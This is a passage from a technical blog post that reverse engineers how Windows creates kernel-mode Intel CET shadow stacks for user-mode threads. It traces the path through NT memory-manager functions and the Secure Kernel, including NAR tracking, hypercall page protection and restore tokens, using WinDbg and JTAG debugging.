execution. Anytime a ret instruction happens, a comparison is made between the “traditional” stack (which an attacker can control) and the shadow stack (which an attacker cannot control because it is protected by hardware or a higher security boundary). If the return address (the address which contains the ret instruction) of the traditional stack doesn’t match the shadow stack, we can infer someone corrupted the stack, which would be indicative potentially of a ROP-based attack. Since stack corruption could lead to code execution - CET enforces that the process should die or the system crashes (in the case of KCET).

With this basic understanding, I first want to delve into one nuance most people are probably familiar with, but maybe not every reader is. As you probably learned in Computer Science 101 - threads are responsible for executing code. During the course of execution, a particular thread will have a need to store information it may need in the short term (variables, function parameters and also return addresses). A thread will store this information on the stack. There is a dedicated region of memory associated with “the stacks” and each thread is afforded a slice of that region resulting in a per-thread stack. All this to say, when we refer to the “stack” we are, in fact, referring to a “per-thread stack”.

Given that we are talking about kernel-mode Intel CET in this blog post - our minds will immediately jump to thinking about the protection of kernel-mode stacks. Since user-mode threads have user-mode stacks, it is only logical that kernel-mode threads have kernel-mode stacks - and this is very true! However, the main thing I want hearken on is the fact that kernel-mode stacks are NOT limited to kernel-mode threads. User-mode threads also have an associated kernel-mode stack. The implementation of threads on Windows sees user-mode threads as having two stacks. A user-mode stack and a kernel-mode stack. This is because user-mode threads may spend time actually executing code in kernel-mode. A good example of this is a system call. A system call is typically issued in context of the particular thread which issued it. A system call will cause the CPU to undergo a transition to start executing code at a CPL of 0 (kernel-mode). If a user-mode thread invokes a system call, and a system call requires execution of kernel-mode code - it would be a gaping security flaw to have kernel-mode storing kernel-mode information on a user-mode stack (which an attacker could just read). We can see below svchost.exe is about to make a system call, and execution is in user-mode (ntdll!NtAllocateVirtualMemory).

After the syscall instruction within ntdll!NtAllocateVirtualMemory is executed, execution transitions to the kernel. If we look at the image below, when execution comes to the kernel we can see this is the exact same thread/process/etc. which was previously executing in user-mode, but RSP (the stack pointer) now contains a kernel-mode address.

This may seem very basic to some - but my point here is for the understanding of the unfamiliar reader. While kernel-mode Intel CET is certainly a kernel-mode exploitation mitigation, it is not specific to only system threads since user-mode threads will have an associated kernel-mode stack. These associated kernel stacks will be protected by KCET when the feature is enabled. This is to clear up confusion later when we see scenarios where user-mode threads are receiving KCET protection.

Thread and Stack Creation (NT)

There are various scenarios and conditions in which thread stacks are created, and some of these scenarios requires a bit more “special” handling (such as stacks for DPCs, per-processor ISR stacks, etc.). What I would like to focus on specifically in this blog post is walking through how the KCET shadow stack creation works for the kernel-mode stack associated with a new user-mode thread. The process for a normal system thread is relatively similar.

As a given thread is being created, this results in the kernel-managed KTHREAD object being allocated and initialized. Our analysis begins in nt!PspAllocateThread, right after the thread object itself is created (nt!ObCreateObjectEx with a nt!PsThreadType object type) but not yet fully initialized. The kernel-mode stack is not yet configured. The configuration of the kernel stack happens as part of the thread initialization logic in nt!KeInitThread, which is invoked by nt!PspAllocateThread. Note that initThreadArgs is not a documented structure, and I reverse engineered the arguments to the best of my ability.

In the above image, we can see for the call to nt!KeInitThread the system-supplied thread start address is set to nt!PspUserThreadStart. This will perform more initialization of the thread. Depending on the type of thread being created, this function (and applicable parameters) can change. As an example, a system thread would call into nt!PspSystemThreadStartup and a secure thread into nt!PspSecureThreadStartup (something beyond the scope of this blog but maybe I will talk about in a future post if I have time!). Take note as well of the first parameter to nt!KeInitThread, which is Ethread->Tcb. If you are not familiar, the first several bytes of memory in an ETHREAD object are actually the corresponding KTHREAD object. This KTHREAD object can be accessed by the Tcb member of an ETHREAD object. The KTHREAD object is the kernel’s version of the thread, the ETHREAD object is the executive’s version.

Moving on, once execution reaches nt!KeInitThread, one of the first things which occurs in the initialization of the thread is the thread’s kernel stack (even though we are dealing with a user-mode thread). This is done through a call to nt!MmCreateKernelStack. This function is configurable to create multiple types of stacks in kernel-mode. We will not investigate this first blatant call to nt!MmCreateKernelStack, but instead shift our focus to how the call to nt!KiCreateKernelShadowStack is made, as we can see below, as this obviously is where the shadow stack “fun” will come (and will also make a call to nt!MmCreateKernelStack!). As a point of contention, the arguments passed to nt!MmCreateKernelStack (which are not relevant in this specific case respective to shadow stack creation) are undocumented and I have reverse engineered them as best I can here.

We can see, obviously, that the code path which leads towards nt!KiCreateKernelShadowStack is gated by nt!KiKernelCetEnabled. Looking at cross-references to this global variable, we can see that it is set as part of the call to nt!KiInitializeKernelShadowStacks (and this function is called by nt!KiSystemStartup).

Looking at the actual write operation, we can see this occurs after extracting the contents of the CR4 control register. Specifically, if the 23rd bit (0x800000) of the CR4 register is set this means that the current CPU supports CET. This is the first “gate”, so to speak, required. We will see later it is not the only one at the end of this first section of the blog on NT’s role in kernel-mode shadow stack creation.

If CET is supported, the target thread for which a shadow stack will be created for (as a point of contention, in other scenarios not described here in this blog post an empty thread can be supplied to nt!KiCreateKernelShadowStack) has the 22nd bit (0x400000) set of the Thread->MiscFlags bitmask. This bit corresponds to Thread->MiscFlags.CetKernelShadowStack - which makes sense! Although, as we mentioned, we are dealing with a user-mode thread this is the creation of its kernel-mode stack (and, therefore, kernel-mode shadow stack).

We can then see, based on the value of either MiscFlags or what I am calling “thread initialization flags” one of the arguments passed to nt!KiCreateKernelShadowStack (specifically ShadowStackType) is configured.

The last two code paths depend on how Thread->MiscFlags is configured. The first check is to see if Thread->MiscFlags has the 10th (0x400) bit set. This corresponds to Thread->MiscFlags.SystemThread. So what happens here is that the shadow stack type is defined as a value of 1 if the thread for which we are creating a kernel-mode shadow stack for is a system thread.

For the reader which is unfamiliar and curious how I determined which bit in the bitmask corresponds to which value, here is an example. As we know, 0x400 was used in the bitwise AND operation. If we look at 0x400 in binary, we can see it corresponds to bit 10.

If we then use dt nt!_KTHREAD in WinDbg, we can see MiscFlags, at bit 10 (starting at an offset from 0) corresponds to MiscFlags.SystemThread. This methodology is true for future flags and also for how we determined MiscFlags.CetKernelShadowStack earlier.

Continuing on, the next path that can be taken is based on the following statement: ShadowStackType = (miscFlags >> 8) & 1;. What this actually does is it shifts all of the bits in the mask to “the right” by 8 bytes. The desired effect here is that the 8th bit (from an offset of 0) is moved to the first (0th) position. Since 1, in decimal, is 00000001 in binary - this allows the 8th bit (from an offset of 0) to be bitwise “AND’d” 1. In other words, this checks if the 8th bit (from an offset of 0) is set.

If we look at the raw disassembly of nt!KeInitThread we can see exactly where this happens. To validate this, we can set a breakpoint on the bitwise AND operation. We then can “mimic” the AND operation, and tell WinDbg to break if r14d after performing a bitwise AND with 1 is non-zero. If the breakpoint is reached this would indicate to us the target thread should be that of a “secure thread”.

We can see after we have hit the breakpoint we are in a code path which calls wininit!StartTrustletProcess. I will not go too far into detail, as I tend to sometimes on unrelated subjects, but a trustlet (as referred to by Windows Internals, Part 1, 7th Edition) refers to a “secure process”. We can think of these as special protected processes which run in VTL 1.

At the time the breakpoint is reached, the target thread of the operation is in the RDI register. If we examine this thread, we can see that it resides in LsaIso.exe - which is a “secure process”, or a trustlet, associated with Credential Guard.

More specifically, if we examine the SecureThread member of the thread object, we can clearly see this is a secure thread! Although we are not going to examine the “flow” of a secure thread, this is to validate the code paths taken which we mentioned earlier.

After (yet another) side track - the other code path which can be taken here is that SecureThread is 0 - meaning ShadowStackType is also 0. A value of 0 I am just referring to as a “normal user-mode thread”, since there is no other special value to denote. For our purposes, the stack type will always be 0 for our specific code path of a user-mode thread having a kernel-mode shadow stack created.

This means the only other way (in this specific code path which calls nt!KiCreateKernelShadowStack from nt!KeInitThread) to set a non-zero value for ShadowStackType is to have (initThreadFlags & 8) != 0.

Now, if we recall how nt!KeInitThread was invoked for a user-mode thread, we can see that Flags is always explicitly set to 0. For our purposes, I will just denote that these flags come from other callers of nt!KeInitThread, specifically early threads like the kernel’s initial thread.

nt!KeInitThread will then eventually invoke nt!KiCreateKernelShadowStack. As you recall what I mentioned earlier, nt!MmCreateKernelStack is a “generic” function - capable of creating multiple kinds of stacks. It should be no surprise then that nt!KiCreateKernelShadowStack is just a wrapper for nt!MmCreateKernelStack (which uses an undocumented structure as an argument which I have reversed here as I can). It is also worth noting that nt!KiCreateKernelShadowStack is always called with the stack flags (third parameter) set to 0 in the user-mode thread code path via nt!KeInitThread.

Given nt!MmCreateKernelStack’s flexibility to service stack creations for multiple types, it makes sense that the logic for creation of the shadow stack is contained here. In fact, we can see on a successful call (an NTSTATUS code greater than 0, or 0, indicates success) the shadow stack information is stored.

When execution reaches nt!MmCreateKernelStack (for the shadow stack creation) there are effectively two code paths which can be taken. One is to use an already “cached” stack, which is a free cached stack entry that can be re-purposed for the new stack. The other is to actually allocate and create a new shadow stack.

The first thing that is done in nt!MmCreateKernelStack is the arguments from the call are copied and stored - additionally allocateShadowStackArgs are initialized to 0. This is an undocumented structure I, to the best of my ability, reverse engineered and can possibly be used in a call to nt!MiAllocateKernelStackPages if we hit the “new stack allocation” code path instead of the “cached stack” code path. Additionally, a specific “partition” is selected to be the “target partition” for the operation.

Firstly you may be wondering - where does nt!MiSystemPartition come from, or the term partition in general? This global is of type nt!_MI_PARTITION and, according to Windows Internals, Part 1, 7th Edition, “consists of [the memory partition’s] own memory-related management structures, such as page lists, commit charge, working set, page trimmer, etc.”. We can think of these partitions as a container for memory-management related structures for things, as an example, like a Docker container (the concept is similar to how virtualization is used to isolate memory, with each VM having its own set of page tables). I am not an expert on these partitions, and they do not appear (at least to me) very documented, so please read the applicable portion of Windows Internals, Part 1, 7th Edition I just mentioned.

The system partition always exists, which is this global variable. This system partition represents the system. It is also possible for partition to be associated with a target process - and this is exactly what nt!MmCreateKernelStack does.

We then can see from the previous image that the presence of a target thread is used to help determine the target partition (recall earlier I said there were some “special” cases where no thread is provided, which we won’t talk about in this blog). If a target thread is present, we extract a “partition ID” from the process housing the target thread for which we wish to create a shadow stack. An array of all known partitions is managed by the global variable nt!MiState which stores a lot of the commonly-accessed information, such as system memory ranges, pool ranges, etc. For our target thread’s process, there is no partition associated with it. This means the index of 0 is provided, which is the index of the system default partition. This is how the function knows where to index the known cached shadow stack entries in the scenarios where the cache path is hit.

The next code path(s) that are taken revolve around the type of stack operation occurring. If we can recall from earlier, nt!MmCreateKernelStack accepts a StackType argument from the input structure. Our “intermediary” ShadowStackType value from the call in nt!KiCreateKernelShadowStack supplies the StackType value. When StackType is 5, this refers to a “normal” non-shadow stack operation (such as the creation of a new thread stack or the expansion of a current one). Since 5 for a StackType is reserved for “normal” stacks, we know that callers of nt!MmCreateKernelStack provide a different value to specify “edge” cases (such as a “type” of kernel shadow stack). In our case, this will be set to 0.

In conjunction with the stack type, a set of “stack flags” (StackFlags) provide more context about the current stack operation. An example of this is to denote whether or not the stack operation is the result of a new thread stack or the expansion of an existing one. Since we are interested specifically in shadow stack operations, we will skip over the “normal” stack operations. Additionally, for the kernel-mode shadow stack path for a user-mode thread, StackFlags will be set to 0.

The next thing nt!MmCreateKernelStack will do is to determine the size of the stack. The first bit of the stack flag bitmask denotes if a non-regular (larger) stack size is needed. If it isn’t needed, some information is gathered. Specifically in the case of kernel-mode shadow stacks we will hit the else path. Note here, as well, a variable named cachedKernelStackIndex is captured. Effectively this variable will be set to 3, as stackType is empty, in the case of a kernel-mode shadow stack operation for a user-mode thread. This will come into play later.

At this point I noticed that there has been a change to KPRCB that I couldn’t find other information on the internet about, so I thought it would be worth documenting here since we need to talk about the “cached stack” path anyways! In certain situations a cached stack entry can be retrieved from the current processor (KPRCB) servicing the stack creation. The change I noticed comes in the fact that KPRCB now has two cached stack regions (tracked by Prcb->CachedStacks[2]). The old structure member was Prcb->CachedStack, which has been around since Windows 10 1709.

In the above case we can see when StackType is 5, the CachedStacks[] index is set to 0. Otherwise, it is 1 (tracked by the variable prcbCachedStackIndex in decompiler).

Note that cachedKernelStackIndex is highlighted but is not of importance to us yet.

This infers this new CachedStacks[] index is specifically for shadow stacks to be cached! Note that in the above screenshot we see nt!MiUpdateKernelShadowStackOwnerData. This check is gated by checking if prcbCachedStackIndex is set to 1, which is for shadow stacks. When a cached entry for a stack is found the “owner data” gets updated. What this really does is take the PFNs associated with shadow stack pages and associates them with the target shadow stack.

There is actually a second way, in addition to using the PRCB’s cache, to use a free and unused shadow stack for a caller requesting a new shadow stack. This second way, which I will show shortly, also will use nt!MiUpdateShadowStackOwner, and relies on cachedKernelStackIndex.

How does the PRCB cache get populated? When a stack is no longer needed nt!MmDeleteKernelStack is called. This function can call into nt!MiAddKernelStackToPrcbCache, which is responsible for re-populating both lists managed by Prcb->CachedStacks[2]. nt!MmDeleteKernelStack works almost identically as nt!MmCreateKernelStack - except the result is a deletion. They both even accept the same argument type - which is a structure providing information about stack to be either created or deleted. Specifically for shadow stack scenarios, there is a member of this structure which I have named ShadowStackForDeletion which is only used in nt!MmDeleteKernelStack scenarios. If it is possible, the deleted stack is stored in Prcb->CachedStacks[] at the appropriate index - which in our case is the second (1 from 0th index) since the second is for shadow stacks.

For various reasons, including the fact that there is no free cached stack entry to use from the PRCB, a caller who is requesting a new shadow stack may not receive a cached stack through the current processor’s PRCB. In cases where it is possible to retrieve a cached stack, a caller may receive it through the target partition’s FreeKernelShadowStackCacheEntries list. A processor grouping is known as a node on a NUMA (Non-uniform memory architecture) system which many modern systems run on. Windows will store particular information about a given node in the nt!_MI_NODE_INFORMATION structure. There is an array of these structures manageed by the partition object.

Each node, in addition to the processor’s KPRCB, has a list of free cached stacks for use!

This CachedKernelStacks member of the node information structure is an array of 8 nt!_CACHED_KSTACK_LIST structures.

As we mentioned earlier, the variable cachedKernelStackIndex captured towards the beginning of the nt!MmCreateKernelStack function denotes, in the event of this cached stack path being hit, which list to grab an entry from. Each list contains a singly-linked list of free entries for usage. In the event an entry is found, the shadow stack information is also updated as we saw earlier.

At this point execution would be returned to the caller of nt!MmCreateKernelStack. However, it is also possible to have a new stack created - and that is where the “juice” is, so to speak. The reason why all of these stack cache entries can be so trivially reused is because their security/integrity was properly configured, once, through the full “new” path.

For the “new” stack path (for both shadow and non-shadow, although we will focus on shadow stacks) PTEs are first reserved for the stack pages via nt!MiReservePtes. Using the global nt!MiState, the specific system PTE region for the PTE reservation is fetched. Since there can be two types of stacks (non-shadow and shadow) there are now two system PTE regions for kernel-mode stacks. Any stack type not equal to 5 is a shadow stack. The corresponding system VA types are MiVaKernelStacks and MiVaKernelShadowStacks.

After the reservation of the PTEs (shadow stack PTEs in our case) nt!MmCreateKernelStack is effectively done with its job. The function will call into nt!MiAllocateKernelStackPages, which will effectively map the memory reserved by the PTEs. This function accepts one parameter - a structure similar to nt!MmCreateKernelStack which I have called _ALLOCATE_KERNEL_STACK_ARGS. If this function is successful, the StackCreateContext->Stack member of our reverse-engineered nt!MmCreateKernelStack argument will be filled with the address of the target stack. In our case, this is the address of the shadow stack.

nt!MiAllocateKernelStackPages will do some standard things, which are uninteresting for our purposes. However, in the case of a shadow stack operation - a call to nt!VslAllocateKernelShadowStack occurs. A couple of things happen leading up to this call.

As part of the call to nt!MiAllocateKernelStackPages, nt!MmCreateKernelStack will prepare the arguments, and stores an empty pointer I have named “PFN array”. This PFN array does not hold nt!_MMPFN structures, but instead quite literally holds the raw/physical PFN value from the “pointer PTE” associated with the target shadow stack address. A pointer PTE essentially means it is a pointer to a set of PTEs that map to a given memory region. This pointer PTE came from the previous call to nt!MiReservePtes in nt!MmCreateKernelStack from the shadow stack VA region. This “PFN array” holds the actual PFN from this pointer PTE. The reason it is called a “PFN array” is because, according to my reverse engineering, it is possible to store multiple values (although I always noticed only one PFN being stored). The reason for this is because nt!VslAllocateKernelShadowStack will call into the Secure Kernel. Because of this, the Secure Kernel can just take the raw PFN and multiply it by the size of a page to calculate the physical address of the pointer PTE. The pointer PTE is important because it points to all of the PTEs reserved for the target shadow stack.

We can also see that this call is gated by the presence of the nt!_MI_FLAGS bit ProcessorSupportsShadowStacks. ProcessorSupportsShadowStacks gets set as a result of initializing the “boot” shadow stacks (like ISR-specific shadow stacks, etc.) The setting of this bit is gated by nt!KiKernelCetEnabled, which we have already seen earlier (nt!KiInitializeKernelShadowStacks).

We only briefly touched on it earlier, but we said that nt!KiKernelCetEnabled is set if the corresponding bit in the CR4 register for CET support is set. This is only partly true. Additionally, LoaderParameterBlock->Extension.KernelCetEnabled must be set, where LoaderParameterBlock is of type LOADER_PARAMETER_BLOCK. Why is this important to us?

nt!VslAllocateKernelShadowStack, which we just mentioned a few moments ago, will actually result in a call into the Secure Kernel. This is because nt!VslAllocateKernelShadowStack, similar to what was shown in a previous post of mine, will result in a secure system call.

This means that VBS must be running. This means that it is logical to assume that if nt!KiKernelCetEnabled is set, and if MiFlags.ProcessorSupportsShadowStacks is set, the system must know that VBS (more specifically HVCI in our case) is running because if these flags are set, a secure system call will be issued - which infers the Secure Kernel is present. Since as part of the boot process the LOADER_PARAMETER_BLOCK arrives to us from winload.exe, we can go directly to winload.exe in IDA to see how LoaderParameterBlock->Extension.KernelCetEnabled is set.

Easily-locatable is the function winload!OslSetVsmPolicy in winload.exe. In this function there is a call to winload!OslGetEffectiveHvciConfiguration. This function “returns” multiple values by way of output-style parameters. One of these values is a boolean which denotes if HVCI is enabled. The way it is determined if HVCI is enabled is via the registry key HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity since the registry is already available to Windows at this point in the boot process. It also will read present CI policies as well, which are capable of enabling HVCI apparently. If HVCI is enabled, only then does the system go to check the kernel CET policy (winload!OslGetEffectiveKernelShadowStacksConfiguration). This will also read from the registry (HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\KernelShadowStacks) where one can denote if “audit-mode”, which results in an ETW event being generated on kernel CET being violated, or “full” mode where a system crash will ensue.

The reason why I have belabored this point is to outline that kernel CET REQUIRES that HVCI be enabled on Windows! We will see specifically why in the next section.

Moving on, this call to nt!VslAllocateKernelShadowStack will result in a secure system call. Note that _SHADOW_STACK_SECURE_CALL_ARGS is not a public type and is just a “custom” local type I created in IDA based on reverse engineering.

We can now see the arguments that will be passed to VTL 1/Secure Kernel. This is the end the shadow stack creation in VTL 0! Execution now will take over with VTL 1.

Debugging the Secure Kernel with SourcePoint

SourcePoint for Intel is a new piece of software that works in conjunction with a specific board (in this case the AAEON UP Xtreme i11 Tiger Lake board) which is capable of “debugging the undebuggable”. SourcePoint (which is what I am using as a term synonymous with “the debugger”) achieves this by leveraging the JTAG technology via the Intel Direct Connect Interface, or DCI. I won’t belabor this blog post by including an entire writeup on setting up SourcePoint. Please follow this link to my GitHub wiki where I have instructions on this.

Shadow Stack Creation (Secure Kernel)

With the ability to dynamically analyze the Secure Kernel, we can turn our attention to this endeavor. Since I have previously shown the basics surrounding secure system calls in my last post, I won’t spend a lot of time here. Where we will pick up is in securekernel.exe in the secure system call dispatch function securekernel!IumInvokeSecureService. Specifically on the version of Windows I am using, a secure system call number (SSCN) of 230 results in a shadow stack creation operation.

The first thing that will be done is to take the shadow stack type provided from NT and “convert it” to a “Secure Kernel specific” version via securekernel!SkmmTranslateKernelShadowStackType. In our case (a user-mode thread’s kernel-mode shadow stack) the Flags return value is 2, while the translated shadow stack type is also 2.

In SourcePoint, we simply set a breakpoint on securekernel!SkmmCreateNtKernelShadowStack. We can see for this operation, the “translated shadow stack” is 2, which is for a user-mode thread receiving a kernel-mode shadow stack.

The first thing that securekernel!SkmmCreateNtKernelShadowStack does is to validate the presence of several pre-requisite items, such as the presence of KCET on the current machine, and if the shadow stack type is valid, etc. If these conditions are true, securekernel!SkmiReserveNar will be called which will reserve a NAR, or Normal Address Range.

A Normal Address Range, according to Windows Internals, 7th Edition, Part 2 “[represents] VTL 0 kernel virtual address ranges”. The presence of a NAR allows the Secure Kernel to be “aware” of a particular VTL 0 virtual address range of interest. NARs are created for various regions of memory, such as shadow stacks (like in our case), the kernel CFG bitmap pages, and other regions of memory which require the services/protection of VTL 1. This most commonly includes the region of memory associated with a loaded image (driver).

The present NARs are stored in what is known as a “sparse” table. This sort of table (used for NARs and many more data types in the Secure Kernel, as mentioned in my previous blog) contain many entries, with only the used entries being mapped. However, I noticed in my reversing and debugging this didn’t seem to be the case in some circumstances. After reaching out to my friend Andrea Allievi, I finally understood why! Only driver NARs are stored in a sparse table (which is why in my last blog post on some basic Secure Kernel image validation we saw a driver being loaded used the sparse table). In the case of these “one-off”, also known as “static” NARs (used for the CFG bitmap, shadow stacks, etc.), the NARs are not stored in a sparse table - they are instead stored in an AVL tree - tracked through the symbol securekernel!SkmiNarTree. This tree tracks multiple types of static NARs. In addition to this, there is a shadow stack specific list tracked via securekernel!SkmiShadowStackNarList.

As part of the NAR-creation logic, the current in-scope NAR (related to the target shadow stack region being created) is added to the list to be tracked of NARs related to shadow stacks (it is also added, as mentioned, to the “static” NAR list via the AVL tree root securekernel!SkmiNarTree)

As a side note, please take heed that it is not my intent to reverse the entire NAR structure for the purposes of this blog post. The main things to be aware about are that NARs let VTL 1 track memory of interest in VTL 0, and that NARs contain information such as the base region of memory to track, number of pages in the region, the associated secure image object (if applicable), and other such items.

One of the main reasons for tracking NARs related to shadow stacks in its own unique list is due to the fact there are a few scenarios where work needs to be completed against all shadow stacks. This includes integrity checks of shadow stack performed by Secure Kernel Patch Guard (SKPG) and also when the computer is going through hibernation.

Moving on, after the NAR creation you will notice several calls to securekernel!SkmiGetPteTrace. This functionality is used to maintain the state of transitions of various memory targets like NTEs, PTEs and PFNs. I learned this after talking, again, to Andrea, who let me know why I was always seeing these calls fail. The reason these calls are not relevant to us (and why they don’t succeed, thus gating additional code) is because logging every single transition would be very expensive and it is not of great importance. Because of this there are only certain circumstances where logging takes place. In the example below securekernel!SkmiGetPteTrace would trace the transition of the NTEs associated with the shadow stack (as the NTEs are configured part of the functionality of reserving the NAR.) An NTE, for the unfamiliar reader, is called a “Normal Table Entry” and there is one NTE associated with every “page of interest” that the Secure Kernel wants to protect in VTL 0 (notice how I did not say every page in VTL 0 has an associated NTE in VTL 1). NTEs are stored and indexed through a global array, just like PTEs historically have been in NT.

Note, as well that KeGetPrc() call in the above screenshot is wrong. This is because, although KeGetPrc() simply just grab whatever is in [gs:0x8]. However, just as both the kernel and user-mode make use of GS for their own purposes, Secure Kernel does the same. The “PRC” data in Secure Kernel is in its own format (the same with thread objects and process objects). This is why IDA does not know how to deal with it.

After the NAR (and NTEs are tracked), and skipping over the aforementioned logging mechanism, a loop in invoked which calls securekernel!SkmiClaimPhysicalPage. There are two parameters leveraged here, the physical frame which corresponds to the original pointer PTE provided as one of the original secure system call arguments and a bitmask, presumably a set of flags to denote the type of operation.

This loop will iterate over the number of PTEs related to the shadow stack region, calling into securekernel!SkmiClaimPhysicalPage. This function will allow the Secure Kernel to own these physical pages. This is achieved primarily by calling securekernel!SkmiProtectPageRange within securekernel!SkmiClaimPhysicalPage, setting the pages to read-only in VTL 0, and thus allowing us later down the road to map them into the virtual address space of the Secure Kernel.

Now you will see that I have commented on this call this will mark the pages as read-only. How did I validate this? The call to securekernel!SkmiProtectPageRange will, under the hook, emit a hypercall (vmcall) with a hypercall code of 12 (decimal). As I mentioned before in a post about HVCI that the call code of 12, or 0xC in hex, corresponds to the HvCallModifyVtlProtectionMask hypercall, according to the TLFS (Hypervisor Top Level Functional Specification). This hypercall is capable of requesting that a given guest page’s protection mask is modified. If we inspect the arguments of the hypercall, using SourcePoint, we can get a clearer picture of what this call does.

  1. Bytes 0-8 (8 bytes) are the target partition. -1 denotes “self” (#define HV_PARTITION_ID_SELF ((HV_PARTITION_ID) -1)). This is because we are dealing with the root partition (see previously-mentioned the post on HVCI for more information on partitions)
  2. Bytes 8-12 (4 bytes) denote the target mask to set. In this case we have a mask of 9, which corresponds to HV_MAP_GPA_READABLE | HV_MAP_GPA_USER_EXECUTABLE. (This really just means marking the page as read-only, I talked with Andrea as to why HV_MAP_GPA_USER_EXECUTABLE is present and it is an un-related compatibility problem).
  3. Bytes 12-13 (1 bytes) specify the target VTL (in this case VTL 0)
  4. Bytes 13-16 (3 bytes) are reserved
  5. Bytes 16-N (N bytes) denote the target physical pages to apply the permissions to. In this case, it is the physical address of the shadow stack in VTL 0. Remember, physical are identity-mapped. The physical addresses of memory are the same in the eyes of VTL 1 and VTL 0, they just have a different set of permissions applied to them depending on which VTL the processor is currently executing in.

This prevents modification from VTL 0 and allows the Secure Kernel to now safely map the memory and initialize it as it sees fit. The way this is mapped into the Secure Kernel is through the region of memory known as the hyperspace. A PTE from the hyperspace region is reserved and the contents are filled with the appropriate control bits and the PFN of the target shadow stack region.

Hyperspace is a region of memory, denoted by Windows Internals 7th Edition, Part 1, where memory can be temporarily mapped into system space. In this case, it is temporarily mapped into the Secure Kernel virtual address space in order to initialize the shadow stack with the necessary information (and then this mapping can be removed after the changes are committed, meaning the physical memory itself will be configured still). After the shadow stack region is mapped the memory is zeroed-out and securekernel!SkmiInitializeNtKernelShadowStack is called to initialize the shadow stack.

The main emphasis of this function is to properly initialize the shadow stack based on the type of shadow stack. If you read the Intel CET Specs on supervisor (kernel) shadow stacks, something of interest stands out.

For a given shadow stack, at offset 0xFF8 (what we will refer to as the “bottom” of the shadow stack and, yes I am aware the stack grows towards the lower addresses!), something known as the “supervisor shadow stack token” is present. A token (as we will refer to it) is used to verify a shadow stack, and also provides metadata such as if the current stack is busy (being actively used on a processor, for example). The token is important, as mentioned, because it is used to validate a supervisor shadow stack is an actual valid shadow stack in kernel mode.

When a kernel-mode shadow stack creation operation is being processed by the Secure Kernel, it is the Secure Kernel’s job to configure the token. The token can be created with one of the following three states:

  1. A token is present, with the “busy” bit set, meaning this shadow stack is going to be active on a processor
  2. A token is present, with the “busy” bit cleared, meaning this shadow stack is not immediately going to be active on a processor
  3. A zero (NULL) value is provided for the token value

There are technically two types of tokens - the first is a “normal” token (with the busy or non-busy bit set), but then there is something known as a restore token. When the third scenario above occurs, this is the result of a restore token being created instead of an “actual” token (although it is possible to specify a configuration for both restore and “regular” tokens together).

A restore token is a “canary”, if you will, that the CPU can use to go and locate a previous shadow stack pointer (SSP) value. Quite literally, as the name infers, this is a restore point the OS (Secure Kernel in our case) can create during a shadow stack creation operation, to allow the current execution to “switch” over to this shadow stack at a later time.

A restore token is usually used in conjunction with a saveprevssp (save previous SSP) instruction in order to allow the CPU to switch to a new shadow stack value, while preserving the old one. When a restore operation (rstorssp) occurs, a restore token is processed. The result of the rstorssp is a returning of the shadow stack associated with restore token (after the token has been validated and verified). This allows the CPU to switch to a new/target shadow stack (there is a section in the Intel CET specification called “RSTORSSP to switch to new shadow stack” which outlines this pattern).

In our case (a user-mode thread’s kernel-mode stack) only the restore token path is taken. This actually occurs at the end of securekernel!SkmiInitializeNtKernelShadowStack.

Before I talk more on the restore token, I just mentioned the setting of the restore token occurs at the end of the initialization logic. Let us first see what other items are first configured in the initialization function before going into more detail on the restore token.

The other main item configured is the return address. This needs to be set where we would like execution to pick up back in VTL 0. We know a user-mode thread with a kernel-mode shadow stack is denoted as 2 in the Secure Kernel. The target return address is extracted from securekernel!SkmmNtFunctionTable, based on this flag value.

Using SourcePoint we can see this actually points to nt!KiStartUserThread in our case (Flags & 2 != 0). We can see this being stored on the target shadow stack (the SK’s current mapping of the target shadow stack is in R10 in the below image).

Right after the return address is copied to the shadow stack, this is also where also where OutputShadowStackAddress is populated, which is directly returned to VTL 0 as the target shadow stack in the VTL 0 virtual address space.

We can see that OutputShadowStackAddress will simply contain the address shadow_stack + 0xff0 (plus a mask of 1). This is, in our case, the restore token! The restore token is simply the address where the token is on the shadow stack (shadow_stack + 0xff0 on the shadow stack OR’d with 1 in our case).

In addition, according to the Intel CET specification, the lowest bit of the restore token is reserved to denote the “mode”. 1 indicates this token is compatible with the rstorssp instruction (which we will talk about shortly).

Going back to earlier, I mentioned this was a restore token but didn’t really indicate how I knew this. How did I go about validating this? I skipped ahead a bit and let the secure system call return (don’t worry, I am still going to show the full analysis of the shadow stack creation). When the call returned, I examined the contents of the returned shadow stack.

As we can see above, if we clear the lower bit of the restore token (which is reserved for the “mode”) and use this to dump the memory contents, this restore token does, in fact, refer to the shadow stack created from the secure system call! This means, at minimum, we know we are dealing with a supervisor shadow stack token (even if we don’t know what type yet). If this is a restore token, this token will refer to the “current” shadow stack (current in this case does not mean currently executing, but current in the context of the shadow stack that is returned from the target shadow stack creation operation).

To find out if this is a restore token we can set a break-on-access breakpoint on this token to see if it is ever accessed. Upon doing this, we can see it is accessed!. Recall break-on-access breakpoints break into the debugger after the offending instruction executed. If we look at the previous instruction, we can see that this was as a result of a rstorssp instruction! This is a “Restore Saved Shadow Stack Pointer” instruction, which consumes a restore token!

When a rstorssp instruction occurs, the restore token (which is now the SSP) is replaced (swapped) with a “previous SSP” token - which is the old SSP. We can see in the second-to-last screenshot that the restore token was swapped out with some other address, which was the old SSP. If we examine the old SSP, we can see the thread associated with this stack was doing work similar to our target shadow stack.

This outlines how the target shadow stack, as a result of the secure system call, is switched to! A restore token was created for the “in-scope” shadow stack and, when execution returned to VTL 0, the rstorssp instruction was used to switch to this shadow stack as part of execution! Thank you (as always) to my friend Alex Ionescu for pointing me in the right direction in regards to restore tokens.

Moving on, after the initialization is achieved (the token and target return address are set), the Secure Kernel’s usage of the shadow stack is complete, meaning we no longer need the hyperspace mapping. Recall that this was just the Secure Kernel mapping of the target shadow stack. Although this page will be unmapped from the Secure Kernel’s virtual address space, these changes will still remain committed to physical memory. This can be seen below by inspecting the physical memory associated with the target shadow stack.

After the shadow stack is prepped, effectively the last thing that is done is for the Secure Kernel to provide the appropriate permissions to the associated physical page. This, again, is done through the HvCallModifyVtlProtectionMask hypercall by way of securekernel!SkmiProtectSinglePage.

